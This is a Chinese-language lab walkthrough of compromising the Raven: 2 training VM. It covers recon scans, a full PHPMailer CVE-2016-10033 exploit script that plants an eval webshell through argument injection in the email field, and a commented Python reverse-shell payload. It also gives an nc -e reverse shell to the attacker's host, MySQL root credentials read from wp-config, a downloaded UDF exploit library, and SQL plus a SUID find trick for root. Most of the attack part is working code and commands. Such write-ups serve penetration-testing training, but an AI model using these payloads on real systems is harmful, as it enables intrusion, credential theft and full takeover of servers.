B2R Raven: 2靶机渗透

视频参考：ajest ：https://www.zhihu.com/zvideo/1547357583714775040?utm_id=0

原文参考：ajest ：https://www.zhihu.com/column/c_1403138803561816064

原文参考：ajest https://zhuanlan.zhihu.com/p/270343652

文章目录

- B2R Raven: 2靶机渗透
- - 1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F
  - - 2 显示信息：
    - 3 快速扫描主机全部信息
  - 4 内核信息没有扫描到，使用nmap继续扫描
  - 5 dirb扫描具体的目录，没有价值
  - 6 使用xray扫描，有个敏感目录
  - 7【dirsearch 】扫描敏感目录
  - - 8 扫描到一个敏感目录，版本：PHPMailer 5.2.16
  - 9 wpscan扫描，得到用户信息
  - - 9.1 得到两个用户
  - 10 漏洞情报
  - - 10.1 使用searchsploit 查找漏洞版本
  - 11 渗透过程
  - - 根据漏洞详情根据编号，尝试后放弃，文章乱的一批
    - 12 使用`msfconsole`进行漏洞利用
  - 13 使用 python3 ./40974.py
  - - 执行成功后，返回shell脚本路径
  - 14 漏洞利用使用蚁剑连接
  - 15 获取反弹
  - 16 MySQL UDF 提权使用
  - 反弹shell中连接mysql
  - 搜索mysql版本的EXP
  - 重新连接mysql
  - - 执行下面的指令
  - SUID 提权

1 启动靶机，查看后网卡为mac为00:0C:29:C6:C5:8F

00:0C:29:C6:C5:8F

-sS: 使用 SYN 扫描（也称为半开放扫描），发送 SYN 包以探测目标主机上的开放端口。

┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -sS 192.168.225.0/24

2 显示信息：

Nmap scan report for bogon (192.168.225.213)
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 00:0C:29:C6:C5:8F (VMware)

3 快速扫描主机全部信息

nmap -T4 -A -v  192.168.225.213

-T4: 使用 T4 扫描速度，代表比默认扫描更快的速度级别。
-A: 执行 OS识别，版本检测、脚本扫描和traceroute。
-v: 输出详细信息，使扫描输出更加详尽。

扫描结果：

22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

4 内核信息没有扫描到，使用nmap继续扫描

 sudo nmap -Pn -A -p- -sT -sC -T4 10.4.7.151 -oN nmap.A

┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -Pn -A -p- -sT -sC -T4 192.168.225.213 -oN nmap.A                     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 17:29 CST
Nmap scan report for bogon (192.168.225.213)
Host is up (0.0020s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
51031/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:C6:C5:8F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5 dirb扫描具体的目录，没有价值

┌──(root💀kali)-[~]
└─# dirb http://192.168.225.213:111

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Oct 13 17:33:53 2023
URL_BASE: http://192.168.225.213:111/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.225.213:111/ ----
                                                                               
(!) FATAL: Too many errors connecting to host
    (Possible cause: RECV ERROR)
                                                                               
-----------------
END_TIME: Fri Oct 13 17:33:53 2023

6 使用xray扫描，有个敏感目录

http://192.168.225.213/wordpress/wp-admin/install.php

在这里插入图片描述

7【dirsearch 】扫描敏感目录

dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php

┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php  

  _|. _ _  _  _  _ _|_    v0.4.2                                                                        
 (_||| _) (/_(_|| (_| )                                                                                                                                                     
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940

Output File: /root/.dirsearch/reports/192.168.225.213/-_23-10-13_19-18-49.txt

Error Log: /root/.dirsearch/logs/errors-23-10-13_19-18-49.log

Target: http://192.168.225.213/

[19:18:49] Starting: 
[19:18:51] 200 -   18KB - /.DS_Store                                       
[19:19:23] 200 -    9KB - /contact.php                                      
[19:19:23] 301 -  316B  - /css  ->  http://192.168.225.213/css/             
[19:19:30] 301 -  318B  - /fonts  ->  http://192.168.225.213/fonts/         
[19:19:33] 301 -  316B  - /img  ->  http://192.168.225.213/img/             
[19:19:34] 200 -   16KB - /index.html                                       
[19:19:36] 301 -  315B  - /js  ->  http://192.168.225.213/js/               
[19:19:36] 200 -    4KB - /js/                                              
[19:19:41] 200 -  626B  - /manual/index.html                                
[19:19:41] 301 -  319B  - /manual  ->  http://192.168.225.213/manual/       
[19:20:08] 200 -    5KB - /vendor/                                          
[19:20:10] 200 -    2KB - /wordpress/wp-login.php                           
[19:20:10] 200 -   51KB - /wordpress/

dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php

┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php 

  _|. _ _  _  _  _ _|_    v0.4.2                                                                   
 (_||| _) (/_(_|| (_| )                                                                               
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940

Output File: /root/.dirsearch/reports/192.168.225.213/-wordpress-_23-10-13_17-45-04.txt

Error Log: /root/.dirsearch/logs/errors-23-10-13_17-45-04.log

Target: http://192.168.225.213/wordpress/

[17:45:04] Starting: 
[17:45:55] 301 -    0B  - /wordpress/index.php  ->  http://192.168.225.213/wordpress/
[17:45:59] 200 -   19KB - /wordpress/license.txt                            
[17:46:16] 200 -    7KB - /wordpress/readme.html                            
[17:46:35] 301 -  331B  - /wordpress/wp-admin  ->  http://192.168.225.213/wordpress/wp-admin/
[17:46:35] 301 -  333B  - /wordpress/wp-content  ->  http://192.168.225.213/wordpress/wp-content/
[17:46:35] 200 -    0B  - /wordpress/wp-content/                            
[17:46:35] 200 -    0B  - /wordpress/wp-config.php                          
[17:46:36] 200 -   69B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[17:46:36] 200 -    1KB - /wordpress/wp-admin/install.php                   
[17:46:36] 200 -  999B  - /wordpress/wp-content/uploads/
[17:46:36] 200 -  809B  - /wordpress/wp-content/upgrade/
[17:46:36] 200 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[17:46:36] 302 -    0B  - /wordpress/wp-admin/  ->  http://raven.local/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.225.213%2Fwordpress%2Fwp-admin%2F&reauth=1
[17:46:36] 301 -  334B  - /wordpress/wp-includes  ->  http://192.168.225.213/wordpress/wp-includes/
[17:46:36] 200 -    0B  - /wordpress/wp-cron.php                            
[17:46:36] 302 -    0B  - /wordpress/wp-signup.php  ->  http://raven.local/wordpress/wp-login.php?action=register
[17:46:36] 200 -   40KB - /wordpress/wp-includes/                           
[17:46:36] 200 -    2KB - /wordpress/wp-login.php 

Task Completed

8 扫描到一个敏感目录，版本：PHPMailer 5.2.16

在这里插入图片描述

9 wpscan扫描，得到用户信息

wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed

                                                                                                                                                                                                      
┌──(root💀kali)-[~]
└─# wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.225.213/wordpress/ [192.168.225.213]
[+] Started: Fri Oct 13 19:38:43 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.225.213/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.225.213/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.225.213/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.225.213/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.23 identified (Unknown, released on Unknown).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.225.213/wordpress/, Match: '-release.min.js?ver=4.8.23'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.225.213/wordpress/, Match: 'WordPress 4.8.23'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:37 <====================================================================================================================> (6498 / 6498) 100.00% Time: 00:00:37
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:02 <======================================================================================================================> (624 / 624) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <========================================================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Oct 13 19:40:24 2023
[+] Requests Done: 7178
[+] Cached Requests: 5
[+] Data Sent: 2.056 MB
[+] Data Received: 1.341 MB
[+] Memory used: 310.848 MB
[+] Elapsed time: 00:01:40

9.1 得到两个用户

steven
michael

10 漏洞情报

公开漏洞情报渠道：

searchsploit
vulhub
漏洞情报：https://vip.riskivy.com/intellList

10.1 使用searchsploit 查找漏洞版本

PHPMailer是一个用于发送电子邮件的PHP类库，其广泛应用于PHP程序中。

┌──(root💀kali)-[~]
└─# searchsploit phpmailer

在这里插入图片描述

查询后，目标系统PHPMailer 5.2.18 存在RCE 漏洞，编号为CVE-2016-10033。

11 渗透过程

根据漏洞详情根据编号，尝试后放弃，文章乱的一批

漏洞情报：https://vip.riskivy.com/intellList? ,查询到此漏洞，发现看不懂

在这里插入图片描述

12 使用`msfconsole`进行漏洞利用

┌──(kali💋kali)-[/root]
└─$ sudo msfconsole       

[*] Starting persistent handler(s)...
msf6 > search phpmailer
msf6 > searchploit phpmailer
msf6 > searchsploit -m 40974

在这里插入图片描述

执行后显示具体的脚本路径，修改exploit脚本,
searchsploit m 40974 会将py文件拷贝到/root目录下，执行完有提示

 cd /usr/share/exploitdb/exploits/php/webapps/40974.py

13 使用 python3 ./40974.py


from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

#target = 'http://192.168.225.213'
#backdoor = '/backdoor.php'
target ='http://192.168.225.213'
vuln ="/contact.php"
backdoor = '/shell.php'

#payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'

payload = '<?php @eval($_REQUEST[777]);phpinfo();?>'

fields={'action': 'submit',
        'name': payload,
#        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/html/shell.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target+vuln, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)

执行成功后，返回shell脚本路径

在这里插入图片描述

14 漏洞利用使用蚁剑连接

在这里插入图片描述

15 获取反弹

nc -lvvp  8888   # kali的是192.168.225.166
nc -e /bin/sh 192.168.225.166 8888  # 使用蚁剑shell中输入
python -c "import pty;pty.spawn('/bin/bash')"  #kali中输入，优化反弹shell

在这里插入图片描述

16 MySQL UDF 提权使用

"ps aux | grep mysqld" 是一个常用的 Linux 命令行命令组合，用于查找正在运行的与 "mysqld" 关键词相关的 MySQL 服务器进程。

具体解释如下：
- "ps" 命令用于查看系统中当前运行的进程。
- "aux" 是 ps 命令的选项，它指定显示所有用户的所有进程。
- "|" 是管道操作符，将前一个命令的输出传递给下一个命令作为输入。
- "grep" 命令用于在文本中搜索指定的关键词，并将包含该关键词的行进行筛选。
- "mysqld" 是 MySQL 服务器的守护进程名称。

在这里插入图片描述

蚁剑连接时没有发现/wordpress/wp-config.php ，使用dirsearch 扫描到目录
使用浏览器访问是空白
在这里插入图片描述
使用find查找此文件find -name "wp-config.php"

cat 查看配置文件，得到数据库用户名密码，账密：root:R@v3nSecurity

反弹shell中连接mysql

注意：蚁剑的shell中输入连接mysql是没有响应的

mysql -uroot  -pR@v3nSecurity

获取到mysql的版本号5.5.30，退出mysql输入exit;
在这里插入图片描述

搜索mysql版本的EXP

searchsploit mysql udf

在这里插入图片描述

searchsploit -m 1518
gcc -g -c 1518.c  # 执行这句就可
gcc -g -shared -o 1518.so 1518.o -lc # 这条是软连接

将1518.so 文件上传到靶机的/tmp 目录下。

gcc -g -c 1518.c  解义
- "gcc" 是 GNU 编译器套件（GCC）中的 C 编译器，用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一，表示在编译过程中生成调试信息，以便在调试程序时进行源代码级的调试。
- "-c" 是 gcc 的编译选项之一，表示只执行编译步骤，而不进行链接。这将只生成目标文件，而不是可执行文件。
- "1518.c" 是要编译的 C 语言源代码文件的名称。

gcc -g -shared -o 1518.so 1518.o -lc
这条指令是用于将一个名为 "1518.o" 的目标文件与标准 C 库（libc）进行链接，并生成一个名为 "1518.so" 的共享库文件。具体解释如下：
- "gcc" 是 GNU 编译器套件（GCC）中的 C 编译器，用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一，表示在编译过程中生成调试信息，以便在调试程序时进行源代码级的调试。
- "-shared" 是 gcc 的选项之一，用于指定生成一个共享库文件。
- "-o 1518.so" 是 gcc 的选项之一，用于指定生成的共享库文件的名称为 "1518.so"。
- "1518.o" 是要进行链接的目标文件的名称。
- "-lc" 是 gcc 的选项之一，用于指定需要链接 libc（标准 C 库）。

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python3 -m http.server 80
wget 192.168.225.166/1518.so  # 进行下载，不能有空格，加空格默认下载到

kali开启服务
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shell连接下载c编译好的文件

执行未有提权成功

chmod 777 exp    # 777 是最高权限
gcc -c 1518.C  -o  1518exp  # 对c文件进行编译
chmod 777 1518exp 
./1518exp

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重新连接mysql

mysql -uroot -pR@v3nSecurity

执行下面的指令

create database testyl;
use testyl;
create table testyl(line blob);
insert into testyl values(load_file('/tmp/1518.so'));
select * from testyl into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('chmod u+s /usr/bin/find');

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此时，/usr/bin/find 就具备了SUID 权限。

SUID 提权

ls -alh /usr/bin/find
mkdir testyl
find testyl -exec '/bin/sh' \;